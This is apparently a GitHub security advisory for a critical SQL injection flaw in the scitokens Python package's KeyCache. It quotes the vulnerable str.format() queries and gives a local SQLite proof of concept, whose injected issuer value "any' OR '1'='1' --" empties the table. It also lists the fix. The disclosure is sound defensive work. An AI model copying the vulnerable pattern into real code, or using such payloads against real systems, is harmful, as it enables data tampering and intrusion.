GitHub Advisoryadvisory · PyPI
GHSA-rh5m-2482-966c SciTokens is vulnerable to SQL Injection in KeyCache
CRITICAL
Official page ↗
- Aliases
- CVE-2026-32714
- Ecosystem
- PyPI
- Packages
- scitokens
- Severity
- Critical
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-89
- Reviewed
- 2026-03-31
Affected packages
• PyPI scitokens: < 1.9.6 → fixed in 1.9.6
Description
Summary
The `KeyCache` class in `scitokens` was vulnerable to SQL Injection because it used Python's `str.format()` to construct SQL queries with user-supplied data (such as `issuer` and `key_id`). This allowed an attacker to execute arbitrary SQL commands against the local SQLite database.
Ran the POC below locally.
Details
File: `src/scitokens/utils/keycache.py`
Vulnerable Code Snippets
1. In `addkeyinfo` (around line 74):
```python
curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer, key_id))
```
2. In `_addkeyinfo` (around lines 89 and 94):
```python
insert_key_statement = "INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key_id}', \
'{keydata}', '{next_update}')"
...
curs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_timer, key_id=key_id,
keydata=json.dumps(keydata), next_update=time.time()+next_update))
```
3. In `_delete_cache_entry` (around line 128):
```python
curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer,
key_id))
```
4. In `_add_negative_cache_entry` (around lines 148 and 152):
```python
insert_key_statement = "INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key_id}', \
'{keydata}', '{next_update}')"
...
curs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_retry_interval, key_id=key_id,
keydata=keydata, next_update=time.time()+cache_retry_interval))
```
5. In `getkeyinfo` (around lines 193 and 198):
```python
key_query = ("SELECT * FROM keycache WHERE "
"issuer = '{issuer}'")
...
curs.execute(key_query.format(issuer=issuer, key_id=key_id))
```
PoC
```
import sqlite3
import os
import sys
import tempfile
import shutil
import time
import json
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
def poc_sql_injection():
print("--- PoC: SQL Injection in KeyCache (Vulnerability Demonstration) ---")
# We will demonstrate the vulnerability by manually executing the kind of query
# that WAS present in the code, showing how it can be exploited.
# Setup temporary database
fd, db_path = tempfile.mkstemp()
os.close(fd)
conn = sqlite3.connect(db_path)
curs = conn.cursor()
curs.execute("CREATE TABLE keycache (issuer text, expiration integer, key_id text, keydata text, next_update integer, PRIMARY KEY (issuer, key_id))")
# Add legitimate entries
curs.execute("INSERT INTO keycache VALUES (?, ?, ?, ?, ?)", ("https://legit1.com", int(time.time())+3600, "key1", "{}", int(time.time())+3600))
curs.execute("INSERT INTO keycache VALUES (?, ?, ?, ?, ?)", ("https://legit2.com", int(time.time())+3600, "key2", "{}", int(time.time())+3600))
conn.commit()
curs.execute("SELECT count(*) FROM keycache")
print(f"Count before injection: {curs.fetchone()[0]}")
# MALICIOUS INPUT
# The original code was:
# curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer, key_id))
malicious_issuer = "any' OR '1'='1' --"
malicious_kid = "irrelevant"
print(f"Simulating injection with issuer: {malicious_issuer}")
# This simulates what the VULNERABLE code did:
query = "DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(malicious_issuer, malicious_kid)
print(f"Generated query: {query}")
curs.execute(query)
conn.commit()
curs.execute("SELECT count(*) FROM keycache")
count = curs.fetchone()[0]
print(f"Count after injection: {count}")
if count == 0:
print("[VULNERABILITY CONFIRMED] SQL Injection allowed clearing the entire table!")
conn.close()
os.remove(db_path)
if __name__ == "__main__":
poc_sql_injection()
```
Impact
An attacker who can influence the `issuer` or `key_id` (e.g., through a malicious token or issuer endpoint) could:
1. Modify or Delete Cache Entries: Clear the entire key cache or inject malicious keys.
2. Information Leakage: Query other tables or system information if SQLite is configured with certain extensions.
3. Potential RCE: In some configurations, SQLite can be used to achieve Remote Code Execution (e.g., using `ATTACH DATABASE` to write a malicious file).
MITIGATION AND WORKAROUNDS
Replace string formatting with parameterized queries using the DB-API's placeholder syntax (e.g., `?` for SQLite).
Related
Alias · CVE (1)
- CVE-2026-32714 SciTokens is a reference library for generating and using SciTokens. vulnerability
Weakness · CWE (1)
- CWE-89 Improper Neutralization of Special Elements used in an SQL Command weakness
References
- https://github.com/scitokens/scitokens/security/advisories/GHSA-rh5m-2482-966c web
- https://nvd.nist.gov/vuln/detail/CVE-2026-32714 advisory
- https://github.com/scitokens/scitokens/commit/3dba108853f2f4a6c0f2325c03779bf083c41cf2 web
- https://github.com/scitokens/scitokens package
- https://github.com/scitokens/scitokens/releases/tag/v1.9.6 web